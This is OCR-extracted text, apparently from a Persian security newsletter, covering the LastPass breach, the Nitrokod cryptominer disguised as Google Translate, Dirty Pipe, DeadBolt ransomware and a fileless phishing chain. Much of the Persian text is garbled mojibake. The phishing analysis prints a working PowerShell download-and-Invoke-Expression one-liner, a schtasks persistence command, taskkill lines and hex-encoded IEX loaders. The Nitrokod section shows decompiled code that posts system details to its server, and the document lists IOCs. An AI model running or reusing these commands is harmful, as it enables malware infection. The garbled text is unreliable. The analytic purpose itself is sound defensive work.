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The first rule of a ransomware gang is: if you aim to
receive ransom, provide your wallet. Doesn't look like new
#BlackByte is going to receive any payments...
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o350 Ginlad 1) S ol obyikie © LastPass (Jlwyl Sy EMbl Jal 15 yguas

LastPass«ss|

Dear valued customer,

We are writing to inform you that we recently detected some
unusual activity within portions of the LastPass development
environment. We have determined that an unauthorized party
gained access to portions of the LastPass development
environment threugh a single compromised developer
account and took pertions of source code and some
proprietary LastPass technical infermation. We have no
evidence that this incldent invelved any aceess to custamer
data or encrypted password vaults. Our products and
services are operating narmally.

In responze, we immediately initiated an investigation,
deployed containment and mitigation measures, and engaged
a leading cybersecurity and forensice firm. While our
investigation is ongoing, we have achieved a state of
containment, implemented additional enhanced security
measures, and see no further evidence of unauthorized
activity

Based on what we have learned and implemented, we are
evaluating further mitigation techniques to strengthen our

environment, We will continue to update aur customers with
the Iransparency they deserve

We have set up a blog post dedicated to providing more
information on this incident; bitps.~blog lastpass.com/

2022/08/notice-ol-recenl-security-incident/

We thank yau for your patience as we work expaditiously to
camplete our investigation and regret any concerns this may
have eaused you.

Sincerely,
The Team at LastPass

.3338,5 )8 Credential Stuffing &g 51 (clala> Gao LastPass ¢hy)lS jw @isiS Juo

olazlge U cuwl 5o )l olus (0l ) (MFA jLaisl ;- Multi-Factor Authentication) (slals e iz cage jhl (93,5 Jled
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Go g|e google translate desktop download X § Q

2 Al [ Images [J Videos [E News ¢ Shopping i More Tools

About 53,000,000 results (0.54 seconds)

https://support. google.com » translate » answer » co=G...

Download & use Google Translate - Computer

Download & use Google Translate. You can translate text, handwriting, photos, and speech in
over 100 languages with the Google Translate app.

https://nitrokod-inc-google-translate-deskiop.en.uptodown.com » _.

Google Translate Desktop for Windows - Download it from ...

Download Google Translate Desktop for Windows for free. A desktop version of the official
translator from Google. Google Translate Desktop is the desktop ...
Rating: 4 - 4 votes - Free - Windows - Educational

Products

©

Yandex Translate Desktop Google Translate Desktop Mp3 Download Manager Pc Auto Shutdown

*=1300... *=1300... **13500.... *=13900...

* Download 3 Download * Download * Download

Microsoft Translator Desktop Youtube Music Desktop

»=1500.... *»41500....
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e e msans vty & P

{- I3 i e pteght. I M il s e e

= ¢ Uptodown 2 Q

& Google Translate Desktop

SOFTPEDIA® RV DRIVERS @B GAMES @ MAC 4 ANDROID APK

A LUNUxX B8 NEWS & REVIEWS

= Soltpedia - Windows - Others - Home b Education

& Google Translate Desktop Search... |

u DOWNLOAD NOW 2,877 downloads - Updated December 9, 2019 - FREEWARE @ dririrdrls 455

Technical Information

_ Lirense @ Operoting System
" Free Windows
5 COfegoay Y At
= Tranzlotors Mitrokod Inc.
j ownicads o M
= onze3

— 2020-04-22

Rating

Average: 3.3 /10 (831 votes)
Your score: - /10

S8 0y
O (Rolid 515 3510510 jusB @ ole SH U ) woyse 35 (ghal g cuad (gdac job @ )l3810) (ol a5 15l6d)S Vel uﬁ)l}i )d pldd=e
S (5ol el (5o Sel) baws

e oy b oass cdadlze RAR (b <O )5 gidse bl Nitrokod colw jl 639l (cldaelip pl I SO plas aSil 5l &)
buwgs 1) (g imas) S 93 (puizan  laie il 1) il 03 3gbIy aaly (sl Juld Jolis a5 (Password-protected RAR)

g0 03laiwl 035)lads SO lgic (6,505 9 ol duyl g loj ()BT 0)uBd johie 4 alS ¢l 51 (S0 5139650 ol I8l

e HKLU\Software\Update\D

e HKLU\Software\Update\S

newsroom.shabakeh.net



\Fol yoo |

GETWINDOWSVERSIONEX(&WindowsVer)

POS2(
'http://nitrokod.com/setup’
FORMAT( 'uuid=%s', [GETMACHINEID()])
FORMAT ( '&app_code=%s', ['GoogleTranslateDesktop'])
FORMAT( '&pc name=%s"', [CMP()])
FORMAT ( '&architecture=%d"', [ARCHITECTURE()])
FORMAT( '&build=%d', [WindowsVer.field 2])
FORMAT ( '&major=%d', [WindowsVer.field @])
FORMAT ( '&minor=%d’', [WindowsVer.field 1])
FORMAT ( '&servicepack major=%d', [WindowsVer.field 3])
FORMAT ( '&servicepack minor=%d’, [WindowsVer.field 4])
FORMAT (' &core=%d', [CORENUMBER()])
FORMAT('&version=%s', ['2.5.0.0"'])
FORMAT (' &reference=%d', [1])
FORMAT ( '&memory _size=%d', [@])
FORMAT (' &guid=%s', [MACHINEGUID()])

0345 lo>d Jal8 «§98 )l38hep (SaNdbOX) 8l Jul=3 (ol (59,5 (i3 9 )5 4255 Gz 9 Calws Skl jl (g 5Selz Hghaio 4
Ao Jled i cadlyd Wget @b 5l a5 505 e (g)13550) RAR o6 < 51 1 (Dropper) 1581

) (532 034 (6)13550) RAR (5330 jl Luy g 83945 SL PowerShell elygiws jl o3l b 1) @i (5leSY plad jljdley sy dloyo )>
S50 (2b5L "intelserviceupdatelJcom” ;I

Running schedule task Wget
and downloading an
encrypted RAR file form Running schedule task
intelserviceupdate. Joom Unrar to extract dropper
Chainlink1.7.exe creates nniawsoykfo_exe

schedule task
GoogleTranslateDesktop.ene
Drops Update.exe
Drops powermanager.ex  pyaiware dropping

o % o POWEITMANIEET.EX
D\T 5 Day 20 T r—9

~ i Tf'"'__“"#J'GEF_JJ khﬁ?

XDR XDR XDR °

Update.exe drops
User Downloaded and Installed Chainlink1.7 exe
GoogleTranslateDesktop. exe

nniawsoykfo, exe Running malware

“?\ o

D21 D22 D2

XDR chainlinki.7.exe was creating a PR A Fuzzy Domain
schedule tasks with “Wget”, Aol idi
! v Wini fender nevidiacenter|.Jcom is
GoogleTranslateDesktop.exe “unrar” command XDR dieact :‘::we',;,o;;’;:: s not related to Nvidia

Masquerading Google file not

signed by Google Fuzzy Domain

G de i
Clnamlufhl T.exe was detected Intelserviceupdatel, Jcom is not nniawsoykfo.exe was detected
clearing all system log via related ko Intel adding a new Windows Firewall Periedic bot communication
Powershell.exe “allow” rule via netsh.exe was detected with

s nevidiacenter[.]Jecom
chainlink1.7_exe, update.exe

was self-deleted via cmd.exe
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Rl sd gladly) (g Sl isjlae gloprible 4 Gleie (awg ) (goaiu (rasd ©3985 w)p ) (w9R93:8 i8Iy 3929 olidln
Windows @ slbiiuwl S5 g Jlgpld aclgd degame a3 03cld SO olgs )3 g 1S (50 odlaiwl (Siuiol OVgamo 13))9d Cags Jul=ias g
L 1y «SyS» Nguy b wlaabis Ll G g o JyiS XMRIQ jylie) saiiSghziwl )81 S colgs ) .l 50 4dLsl Defender

Ao

procedure ADDFIREWALL( Arg@: UnicodeString; Argl: UnicodeString; Arg2: UnicodeString)

delete FORMAT ( ews all delete ru dir=in p ram="%s [argl, arg2])
ADDCMD(&Arge, 'netsh delete)
add FORMAT('a 1 firewall add rule naz dir=in action:

Hargl. arg2])
ADDCMD(&Arge, 'netsh', add)
exit

Jbaizl ¢ - Command-and-Control) 5s> 23008 5 JyiiS jgpw @2 pupm 03,5 RLwlids 390 2! ol (59) 5 |y (gm0l
©illl2d (92ad (Hielyd 4gSie jopw . 33S(e Jluyl HTTP POST (glocunlg)s @b jl) (508 piwws Jol (iyliS 9 o2 Juate (C2
-)-JLQ)L).A ,JLuu)| l) LQ)T O.})’)g.) Cag> L,_,um] LgLQ))lS_CDb b_)lwlu.u L) C2 SRRV Plng LSAJQULO)‘ CPU k_é)laﬁ Ul}ﬂ.o u,\.&_) 9

&

&

~® e

intelupdatesevice] Jcom Powermanager exe

nitrokod| Joorm Schedule task

s svery 15 days malware mat m
v
o ™
- % . G -E' — - |5223 - . --
EXE EXE EXE EXE
Google translate T r—— Cahanhink 1 70 ex Sc TETFEIIA axe Aniawsayidal § exe
nstaller e
& L\
©®
G
My crypts mine:

.
& cHECK POINT

ol a=llbo o8 ) Pl ) Ufi))l}f o2l ke

https://research.checkpoint.com/2022/check-point-research-detects-crypto-miner-malware-disguised-as-
google-translate-desktop-and-other-legitimate-applications/
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https://research.checkpoint.com/2022/check-point-research-detects-crypto-miner-malware-disguised-as-google-translate-desktop-and-other-legitimate-applications/
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(_3559'"- LSLdewAj

1adbise pj 2 @ (I0C jlaisl 4 - Indicators-of-Compromise) Ssgll @ike jI 5

(Domain) aiols
Nitrokod[Jcom
Intelserviceupdate[.Jcom

nvidiacenter[.Jcom

(Hash) ;e
abe0fb9cd0a6c72b280d15f62e09¢776
a3d1702ada15ef384d1c8b2994b0cf2e
668f228c2b2ff54b4f960f7d23ch4737
017781535bdbe116740b6e569657eedf
Ocabd67c69355be4b17b0b8a57a9a53c¢
27d32f245aaae58¢1caa52b349bed6fb

@i

https://research.checkpoint.com/2022/check-point-research-detects-crypto-miner-malware-disguised-as-

google-translate-desktop-and-other-legitimate-applications/
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Linux cass (g)gyw 4

Jol alogyind 5> LinUX wasd (sloygpuw a1 (g)i8lzl wilas ((Trend MiCro, INC.) g)Siue 15,5 €Sy Jaawgi 2 yiiiio (yi)iS (bl p
OMas dield ol ()3 6)lgad (g rulw (loyze .l @il (inl3él 3u0)d YO (o) jI Ju8 (630 Jw )3 wldio 0)93 b duslio j> Yol
g s 4i8),S 63050 logylojlw g el Il el Las a5 Miiud lole (gloaimwaw j| (1292050 dlas jl 395

Oliz L0 @ oS g dgdse 4id)S HI0 oyguw dlaz jl plejls leMbl (6)9lid (g3ulS (clocusluyj )3 Vgeazo LINUX Jolepiwou
AV WSV ‘_&.J)_S(_,.A_) 3 )l¥lzl ©Ves Vao Windows L auwulis ;> Linux Eimwaw a5 ble ol ¢l 659 @ 03k (Hlezlgo (5ly
S 3505 WINdOWS e (gloaSads j| edablow (59) 0 Byo (g pmbocasiol (cloas aS

Slopiuu Gol> job &) 45 iS50 @5 (5)ab |) 355 DMas (sloailid b ) )8Rl (BT (554 a5 AiS (e Ui )bl> lakioe
3145905 (9351 el sl (sl 18l l (12)33990 9 (92)5) By 5l S0 &S LockBit «Jlie ¢jlgic 4 3o 50 )18 Wao 3590 |y LINUX s
ol 0345 di8)S IS0 WMas )3 g 0add (52l LINUX s (gl 5315 )18 Gao (gl aS eals &Sl 1) Linux o (siiwe Hlidlab

@ gy ol j1.3)S Bimlgs JLod |y aiS Sy del)d cawS 5 il @ a5 Lioyd yo 13 1)1 (Jle 055501 (g)l38l2L oleslge a5 (lsdl )
4295 390 (glodil;d job ) 9w g ol (sLikSiey IS Al (ghy 2L Canlg)s g LINUX s (slopium (5)13550) 45 duny50 45
Qs (Sao dal)d S CanS JWs @ (5)8l2b plezlge 45 by )3 poga ) 3,50g) l Juye Y5 4wl 4iB)S 1B Hlaslge

S50 )h8 L3l ol 4265 3)90 yidian

Cawl ()90 JIs (Haod 1 A0S0 ol (g 85 L) 395 Olas g Jidd (50 doldl 395 Wlas Eg5 g 09 JolSS @ (g ulw ()5S
A_LISLJ,A.C)J.Q,) ‘.\uubb,o)_u Uu)_uuS Je ) a5 03 8.5]9 dlos> 3)90 aold Io[n.'i)'l sl 9 6)3 aéij])) L(DOLQ)‘LMA aS

o2 UB)I,SH L £35163,S Wohso LINUX sl (sloiman Craw 4 1) 395 4295 (gloaislid job b a5 it )lpleL L_gLQ:og)f bas all

Gz (s rulwployze «Vas d3gS (pl 5> .l €iBly Giul38l 3o )d VEO 5.5 LiNUX 0 (e )l joy 02052yl (slo)ljdlay clas wS)yd
S (50 058wl gw obgﬂ )9, 9 o)3g0ls )_iw)b/u 5l ez )l o, el)pgwd
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https://www.trendmicro.com/vinfo/us/security/research-and-analysis/threat-reports/roundup/defending-the-expanding-attack-surface-trend-micro-2022-midyear-cybersecurity-report
https://www.trendmicro.com/vinfo/us/security/research-and-analysis/threat-reports/roundup/defending-the-expanding-attack-surface-trend-micro-2022-midyear-cybersecurity-report
https://www.trendmicro.com/en_us/about.html
https://www.trendmicro.com/en_us/about.html
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oolwl 335550 039)T ) LiNUX esd sloaivu (CVE-2022-0847 ik o is dluog (sl s il jl (920500 b el lazlgo ¢l
Yo @ /A gloddsus p ogde aisliss ju5 Dirty Pipe gloic wsd oS CVE-2022-0847 awliss @ (gpdocamwl (il ol
A0 polyd (yleslge (o 1) 35 (glyol o (Privilege Escalation) «esl)lusl @ié)5» ¢ jl eslaiwlequm g 313550 50 Linux Kernel

(E).u.xl ) ol glodlog dead 45 39ds0 duogs (g e Willas plw g L(b)]}élal.g Pl Linux P e (i |l Cbidlzo Cugs
VY o.)l_&;‘uul;w DXL 451)1 ;XL;Q le,)T 41;09 aS (_;Iom ais i LSLQ)LS).JJ.JL.A.AADT )‘] J.ulsu (5)‘!-3[“’ oLo)?go (5] .)_)940 dLacl L“JL§9

QY S sl s B3940 ol oaiwaw (soles > (Multi-Factor Authentication) leledis caga jlsl 45 39450 4uogs (puican
94 aSudh ) Lol plw 4 5391 (iyiwS jl @lo «wsMas ylp )> Caclias (elds

https://www.zdnet.com/article/linux-devices-increasingly-under-attack-from-hackers-warn-security-researchers/
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https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847
https://www.zdnet.com/article/linux-devices-increasingly-under-attack-from-hackers-warn-security-researchers/
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MRl ez (6505, |
QNAP wljue=5 4, DeadBolt

2 Gluielcanis i g0y Jls ) a5 DeadBolt )liélal @las Gogas)s 395 ¢ljyiive 4 (QNAP Systems, INC.) wogsS Sy
Gl 0313 Hlasine b ;e Photo Station

S 0l 1 (5losSz 42 0303)5 45 (5)9002 Sy LBl (63000]) a0 3Spo 9 yinS aSuid (uige Syl (5) a0 b S GB)l3S ¢l )>

ol 03 aisld )

) (S)JAJW*’T SO 1)L ol DeadBolt Hh¥lel Olf.\_ijb)i TRV )LCT 99200 WV duidb jo) 5l &S las (ol )3 ¢(Hlgall &Sy gl 51 J&5 @
ool sl eyl 4 Juaie - NAS jlaisl 4 - Network-Attached Storage (sjlwe a3 (gloolKiuws (513550, g Photo Station
S (50 03l guo CAS)y

/# Obtaining Decryption Key &

A Our decryption key delivery process is 100% transparent and honest.
The decryption key will be delivered to the bitcoin blockchain inside
the OP_RETURN field. You can retrieve it by monitoring the address you

made your payment to for new transactions containing the OP_RETURN
field. An easy way to do this is using a public blockchain explorer like

WARNING: YOUR FILES HAVE BEEN LOCKED BY DEADBOLT

What happened? blockchain. com.
1 your files he n encrypt s includes (but is not limited to) Ph

ments and 3 Outputs o

Why Me?

Index o
a personal attack. You been targeted b of the inadequate
rity provided by your ). Address .
What now? Pkscript OP_RETURN

902528c994619eccO51879e401142abe
exanple of decryption key as found on blockchain.com explorer.
e decryption ki £ The decryption key always has an exact length of 32 characters.

Entering the wrong decryption key will not harm your files. This page
t the d will tell you if the entered key is invalid.

After the decryption has finished successfully, this page will disappear
and you can access the management interface again. However, it is
strongly advised to migrate all your data to o more secure platform.

QNAP

@ If you struggle with this process, please contact an IT professional
to help you
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https://www.qnap.com/en
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5l iz 365 Juatie oyl w Iy NAS @liagss g loolKiws a5 63905 duogd (byisio jl (gl Ll (rad Sy ¢yl
ST dwogs (byiine 4 Syl ablad Jled 1) VPN Guogyw b 60365 eslaiwl QNAP buwgi s 3l myQNAPcloud Link cub
LS 9N ) )J.).me‘l-)J_c 844“ uJ)DT O l) Photo Station a5 03905

e QTS 5.0.1: Photo Station 6.1.2 +

e QTS 5.0.0/4.5.x: Photo Station 6.0.22 +
e QTS 4.3.6: Photo Station 5.7.18 +

e QTS 4.3.3: Photo Station 5.4.15 +

e QTS 4.2.6: Photo Station 5.2.14 +

(S5 pus3 oy cge Photo Station (glow aiad)aé iu5ols glsic 4 QUMagie Jgaseo jl 45 3iS5e iy ¢h)lS € oglS
lad eslatiwl CSyb el sl NAS Wliagad ) pglas

I8 Bao 390 lez jwliw j> ) NAS LthboLi.'iw.\ »uo j9) Lg).:.\_\wuﬂ SOl (2920500 L DeadBolt 812l leslge 55 1Feo (63 )
53985 (6)13550) 1) L@ ¢yl OleMbl g 33515

o Jald (5,13550) pluy g 03,5 adLsl o Jold b @ 1y .deadbolt wiguwy NAS liugz3 (6)1550) 51 Guo (58120 olazlge las ¢l )>
e 50 Giulad ohylS 4 NAS (looliuws 39)9 amaw )3 yj g |y DeadBolt lj8lzL bwgs

“WARNING: Your files have been locked by DeadBolt”

SIS S (gl @ (U IPYY Lyds) ogSian gl orel caslay Jbiwles olidlal ¢l (Ransom Note) (¢Sl aclbl )5 laslgo
@ o5 cwl «Important message for QNAP» lgic b (g3 Jolis duclol (ol (puize 2ibbso ol (HLL (glp (RUiS)e,
S (Y3 3o VIV 1u)a5) oSty 0 Coasd 4 ) NAS (glooliws )3 430 jg)y (g pdammwl (56 Ol o ;3 a5 WiSo o)lil (glamiwo
h ohls (liShe) ojlal J3l2L ol gLl dew @) Blgie oS WiS(0 ad)e agSeam Bo Crasd @ 5 |y ol (RLEShe) 35 30350

VXY

45 63)S auogs ) 4163545 ;3L DeadBolt )8zl las jl (ca3> 2o 4 (iniSly )d H52ye4d W a5 ) debduogs )3 CoguS CuSyi
1381 NAS sl51055 (69) » 03ub Cuad (gl aoliy 9 QTS (glas)l 4 Caud abgyye laubsii Jlacl g Photo Station (lw)jgya o egle
S50y (6150 «waled )3 394 (g)13395 oyl @Gyb 5l olued (5315 H1h8 Guyiwd ) 51 3 o)Ll ju5 YU > oS jghilad (yuiswas S
WSl joy 90 > Slebl by caws jl 5l (6259l (sl phaie ok @ pluid G 45 9 NAS ()5 ool olas )5 (598 )i

https://www.gnap.com/en/security-advisory/qsa-22-24

https://securityaffairs.co/wordpress/135347/malware/qnap-deadbolt-ransomware-new-attacks.html
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https://www.qnap.com/en/security-news/2022/take-immediate-action-to-update-photo-station-to-the-latest-available-version
https://www.qnap.com/en/security-advisory/qsa-22-24
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Phishing Attack

2 (5930138100 aw Jlwyl @3 @381 lazlge o )3 a5 Ble3,S (lwliss 1) (Phishing) Siwius 1,15 (Fortinet) wo,5)98 Sy (ladme
09 (sl Cayyel @) dlio ¢l .253)S 50 (51,8 oSiws (5gy » PandoraHVNC ¢ BitRAT AveMariaRAT (slapl « (Fileless)
sloliws jl (s wlelMbl cdyuw 43,36 laslgs 4g5ie ()8l Cyze 35 (ol I Guo ((Souwind H1j,5 ¢l )d .l aislsy bl

AL L)

Jiiie (50,8 0w @ 1) Fileless 1381 1lg3 s 5e5e Siuiud jlj)l5 S a5 31 mules lid g @l 50 y953e Jlj)lS Jul=d ¢ la]
JBLe (518 @ismaun (59 32 W95z 9 NS0 o3kl H153)90 Ba2 )3 BB (93 )1 (shl 9 )il (IS (sl o5 4z I S
D940

JHES 1) (5308 0w 3135 50 53U Microsoft Windows (glaaiuwas (59) » 9 Mibise (Critical) «ils» @i as)s glls 1,5 ¢l
.AASL,A k_AB)u.\ |) ] 9 ool OleMbl 9 63905

&uio SO jl eslay GinliS el SO lgic 4 jgSio Jual ol 00 0315 L 15 JSub 53 )15 ¢l )3 6 Cadly)> Siuisd Jaaol d5gad
Ll 004 Jw)l juiee yolbb @

[SPAM detected by FortiMail] Separate E-check Remittance Advice: Claim document number - 220150 - M.

File Message @ Tell me what you want to do...

[SPAM detected by FortiMail] eparate E-check Remittance Adviee: Claim document number - 220150

Remitiance-Details-95..

[ EY

Please find attached the Payments Report for 04/27/2022
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https://www.bitav.ir/article/fileless-malware-what-it-is-and-how-it-works/?utm_source=newsroom&utm_medium=link&utm_campaign=newsroom+backlink&utm_id=newsroom-23061401
https://www.bitav.ir/article/fileless-malware-what-it-is-and-how-it-works/?utm_source=newsroom&utm_medium=link&utm_campaign=newsroom+backlink&utm_id=newsroom-23061401

\Fol jo0 | wleVbl (g)gld Cayinl doliolo

S 50 GinyliS Gldie el Cgs 1) odh Cungy EXCEl 3w B amd Coyd ) 015),5 03,5 2w pzlgo «(Jaasl ¢l )d

a4 Cawgy EXCel dinw 4y (055

e

G b ol @8lg )5 .l sad (51335606 Remittance-Details-951244.xlam «Siuwiné (sojaml ¢l 4 odi Cusgyy Excel siw
a0l 53 |y (T 05,5 a5 LolSie 0 031> (iulad yj JSub 5> a5 jghilan . 3bl 0 Gyo (log)Sle (golm aS uwl (*.xlam) Excel digjél
S Jled |y ogySle aolgs oo LT ausyyse p)lS 5l a5 o ol isiel jlasl S iS50 [zl Microsoft Excel

Developer ~ Team @ Tellme.. Signin

=2 %Coﬂditional Formatting = E“’Insert - 2 éf'

-3 CK) .| =
D A A =
pact Egy ~ = | $ % DFormat as Table - &7 Delete ~ ' Peid
aste - | F . - - | —= -
e BI U~ A == . i [7 Cell Styles ~ 1 Format- & -
Clipboard 1 Font & Alignment & Number [ Styles Cells Editing ~
- e

Micresoft Excel Security Motice
@ Microsoft Office has identified a potential security concern.

‘Warning: It is not possible to determine that this content came from
a trustworthy source. You should leave this content disabled unless
the content provides critical functionality and you trust its source.

File Path: | c\Users\Bobs\Desktop'\Remittance-Details-951244.xlam
Macros have been disabled. Macros might contain viruses or other
security hazards, Do not enable this content unless you trust the
source of this file,

More information

Enable Macros ] [ Disable Macros ]

=l Excel ol oo ;L L Auto_Open() b « (Visual Basic Application) VBA U <y jl eslasiuwl b ) 5595 &g g)Slo ¢yl
D950

WMI ObJeCt SOl eslasiwl L 1y UT 9 AiS(0 b_)bu.f).o) slai, OLO)é SO AS (Rl &5 dod0 Glis &L RN VBA 5 Jul=s
b0 L=l (Windows Management Instrumentation)

Ll i i i il darn [break] - [Modulel (Code)) [E=SE=R/ ==
# Fle Edit View Inset Format Debug Run Tools AddIns Window Help
@& I aRIEEY »1Q =

~  Auto_Opent -

a, tuXQpss
VSK (nfO00NBOP ("' 1,25 Q9[0: 3Ha-ZB"
ki, TuXQpsS(Uv6zUSVSK (nfOoGONBOP
cuXgpss

©uXQpsS (Uv62USVSE (nE00G0NBOP
©uX0psS (Uv62USVSE (nf0060NH0P

3
", "RVODTGM"), nfOc

™ Debug. Print
ae— merc ..m.:mn, w11, pia
i sGIRCK 20 Dowmic
Mo tod — | | pam aszsizon a2 Sanaie Nyuiony
= bim Rggimer 2s Dace ject
Dim XingabD e Inceges
[psserz

Dim Qu@bVnXtd As Long
‘ ’

x|

print lupatakamuchi I =
cay ddond. com https://taxfile.mediafize. com/£i 10/APRL27 .htm/ file H

Decoded Command String

'

(2 WiSe) aids) (yloyd (gly=l g WMI Object <o o )5 a5 sad5e i |y Auto_Open() g ) bgyye VBA 35 I (glaghs YU JSib
ol o3 0315 (i YU JSib (b 53 a5 jghilas 39450 dloul 5 604

C:\\ProgramData\\ddond.com hxxps://taxfile[.]mediafire[.Jcom/file/6hxdxdkgeyq0z1o/APRL27[ ]Jntm/file
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https://docs.microsoft.com/en-us/windows/win32/wmisdk/retrieving-a-class
https://docs.microsoft.com/en-us/windows/win32/wmisdk/retrieving-a-class

ol ygo | wleMbl (g)9lid ool aoliolo

pb ,ues ddond.com @ 1y o ¢ 3Se (5 C:\ProgramData\ > 1, C:\Windows\System32\mshta.exe Jlb T ;I Ju8
02l 313 3929 Windows Jelepiman b looliws (solad (69 y (o8 in ©)yguar 45 Cawl jizo (gl o6 S mshta.exe a0
C:\ProgramData\ddond.com ¢giS! .l exis =Lk Microsoft HTML Application (HTA) sloh hyz! sy Gloe Jold
G5 R I pliize 53)5 25 (s JUe gl .29)S ole> )8 eslasml 3)90 )15 Job )3 oS 3blise Mshta.exe cadgig) asus

S50 o3laiwl Mshta.exe gl w wyzo html ol gzl 9 3901 cg> ddond.com e

HTML + JavaScript + PowerShell

S aghd Sy (gols HTML (b6 .5g4 50 39bils wai (lg>1ys (Mshta.exe cuigig) (sizy) ddond.com lawgs a5 APRL27.htm Jals
A0 i 1) A5 0 05w g (RLiSiey diuwd yj JSib .l a4 (6)13535 URL Escape g jl oslasuwl b oS el JavaScript

ai 0 Sl Wsceript.Shell ob 4 Object <G ) Jasllgiuws jl oslatwl b
chuchukukukaokiwDasidow = new ActiveXObject(_0x5b4b3f(0x391, 0x391));
450 (LI dgidse o3laiuwl (T Hasli g did) Sy 3515)50 (gl a5_0x5b4b3f(0x391, 0x391) g jl eslaswl L Wscript.Shell

550 Hh8 eslaiwl )50 aaly S ghal (gl o 50 dleul chuchukukukaokiwDasidow b 4 56 OS Shell Object <G
laie hal ) 15 oleyd ko> (63,15 dobip i 0 o315 ()i Vb JSi ) oS jghilan

e powershell SMMMMMMM=((neW-ObjEcT
(("Net.Webclient")).(("Downloadstring")).invoke((("hxxps[:]//taxfile[ Jmediafire.com/file/175IrOwsa5n97x
8/mainpw.dll/file"))));Invoke-Expression SMMMMMMM

e schtasks /create /sc MINUTE /mo 82 /tn calendersw /F /tr ""%programdata%\ddond.com

hxxps[:]//wwwl[.]Jmediafire.com/file/c3zcoq7ay6bnql9i/back.htm/file
e taskkill /f /im WinWord.exe
e taskkill /f /im Excel.exe
e taskkill /f /im POWERPNT .exe

4l )> aiS Lol 1) T Guaw g 63,5 6Ll |, mainpw.dll ob & PowerShell Jls S, B sgd50 L=l PowerShell aeby Guw
HLSy 4By AY yo 5 (yloyd LS50 L2l Task Scheduler > calendersw pb 4 o (g3iuloj a0l o sloul ez 1) schtasks
back.htm (g, I Huy 9 Gl (6)lL )Bgjlw ¢l .ol APRL27.1tmI 116 Parsing whilac 4y bgayo dusy 50 ya5 4 a5 39450 pll

iS50 a8l ) (gt 634 (652)a0by winlbg

C:\ProgramData\ddond.com hxxps[:]//www[ ]Jmediafire.com/file/c3zcoq7ay6nql9i/back htm/file
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MS PowerPoint ¢ MS Excel (Excel.exe) MS Word (WinWord.exe) sloawgy (gjluddyio cugz |y taskkill ouizae

iS50 Iy>l (POWERPNT.exe)

Intercept  HTTRhistory ~ WebSocketshistory ~ Options

Filter: Hiding CSS, image and general binary content

# Host Method URL
9015 | https:/itadile mediafire.com GET Ifile/BhxcxdkgeyqOz1o/APRL2T htm/file
9016 | https://download2266 mediafire.com GET Irulvg3eqrglg/BhrcdkgeygOzLo/APRL2T.htm

https://taxfile. mediafire.com GET Jfile/ 1T5Ir9wsa5n9 78 mainpw. dllfile
https://download2347.mediafire.com GET Jndy 170/175r9wsa: i

PSWWW medai le/c3zcoq Tayend] g
https://download2269. me diafire.com GET 13esT50htSkg/c3zcoqTayBnqloirback htm

https://taxfile. mediafire.com GET Ifile/175\r9wsa5n9 T mainpw.dllfile

9057 | https://download2347. mediafire.com JrTiz575150pg/175krgwsasn97xE/mainpw. Ul
9058 ylupioad

9059 [ https:fiwww medaire com Tt /fjyy2npmnhx6od9/Start htm/file

9060 | https:/idownload1078 mediafire.com GET Iifewapujr2og/jyy2npmnhxGod9/Start htm

htps://taxfile. medifire.com
hty

Jfile/ 1T5Irdwsa5n9 78 mainpw.dllfile
Jidownload2347.mediafire.com krs18:

9063 httpy//ctial windowsUpdate.com GET Tmstownload/ Update/v3/static/rustedren/aUthrootstl.cab?afded 31152 18605
Request Response
= Pretty Hex Render =
1 HTTR/1.1 200 0K
Jhawdotangh7g/175L rowsaSno7xB/mainpw.d 2 server: bd-0.1.5
11 HTTP/1.1 3 content-type: text/plain
2 Host: download2347.nediafire.com 4 accept-ranges: bytes
3 Connection: close 5 connection: close
& cache-control: no-store
5 7 xzrobots-tag: noindsx, nofoll
sfcontent -disposition: attachment: filename="mainpw.dll"

0A 20 20 20 20 20 20 20 20 70 75 62 6C 69 63 20 73 74 61 74 69 €

QBEPIEa ] omee @@ (][5

P 330 (lis wiledd Hasuive j0,8 )315 )5 a5 |y mainpw.dll B APRL27.htm (clodims a5 el HTTP proxy jl ales YU JSai
Task Scheduler buwgs a5 e ddond.com (jleys @ by (clocwles)s 5l (6,505 69,3 (Start.htm) o ;oI5 ¢ (back.htm) juwe
lodd &9)4»

Uiz aw 4 Fileless sl aw gl 1) o ¢lgie a5 el PowerShell a5 (63bj slass gl (woblBe V/0A aze L) mainpw.dll s

A3 50 olio |y mainpw.dll eas eslw jlislu yj JSk .35 @unds

'

:

3 fhexString = "41 64 64 2D 54 79 70 65 20 { ... } 6E 20 24 49 41 4B 57 42 51 49

4 |50 41 53 45 4z 41 4D 41 47 53 57 51 45 41 4F 44 49 4F 41 53 4E 44 41 53 51 04 7D":

5 |$asciiChars = $hexString —split ' ' |ForEach-Object {[char] [byte] "Ox$ ") ;SasciiString = fasciiChars —
join ' ;fasciiString | I'E'x

.

7 |#aspnet_regbrowsers

e Malware 1

3 |[byte[]] 6$nona = @(31,139,8,0,0,0,0,0,4,0,228,189,127,120, { ... }
218,117,214,151,254,115,217,253,235,233,242,252,63,116,33,154,179,0, 136, 1,0}

10

1

1z $hexString = "S5B 62 79 74 €5 SB SD 5D 20 { ... } 53 45 54 52 54 59 44 55 47 49 4F 48 29 29 0A":

13 |$asciiChars = ShexString —split ' ' |ForEach-Object {[char] [byte]"Ox§_"):SasciiString = $asciiChars —

. |ioin ' idasciiScring | Iex

1

15 stert-sleep 5

1

17 fhexString = "41 64 64 2D 54 79 38 39 43 38 33 45 30 { ... } 57 42 51 49 50 41

18 |53 4B 42 41 4D 41 47 53 57 51 49 41 4B 44 45 4B 41 53 4E 449 41 53 51 Q& 70"

19 [$aseiiChars = ShexString -split ' ' |ForEach-Object {[char] [byte]"0xs ") :SasciiString = $asciiChars —
join '';dmsciiString | I'E'x

20

21 |#caspol

2z

23 |[byte[]] $non= - B(31,139,8,0,0,0,0,0,2,0,212,183,121,124,163, { ... } Malware 2

|17t 191,76, 2108, 244,51, 127, 252, 255, 246, 227, 285, 5, 112, 109, 27,218,0,42,2,0)

24

as

26 |énexString = "SB 62 79 74 65 SB 5D 5D 30 ¢ ... ) 2E 35 30 37 32 4F 59

27 |52 54 53 45 54 52 54 53 44 55 47 4@ 4F 48 29 23 Ok";

28 [#msciiChars = fhexstring -split ' ' |ForEach-Object {[char] [byte] "Ox$ "}jimsciiString = $asciliChars -
Goin ' sfasciiString | T'E'x a

23

30

3l start-sleep &

sz

32 |$hexString = "41 64 54 2D 54 78 90 65 20 2D ( ... } 20 24 49 41 4B 57 42 51

54 |42 50 21 53 4B 42 41 4D 41 47 53 57 51 49 41 4B 44 48 4B 41 53 4E 44 al 53 51 0k 7D

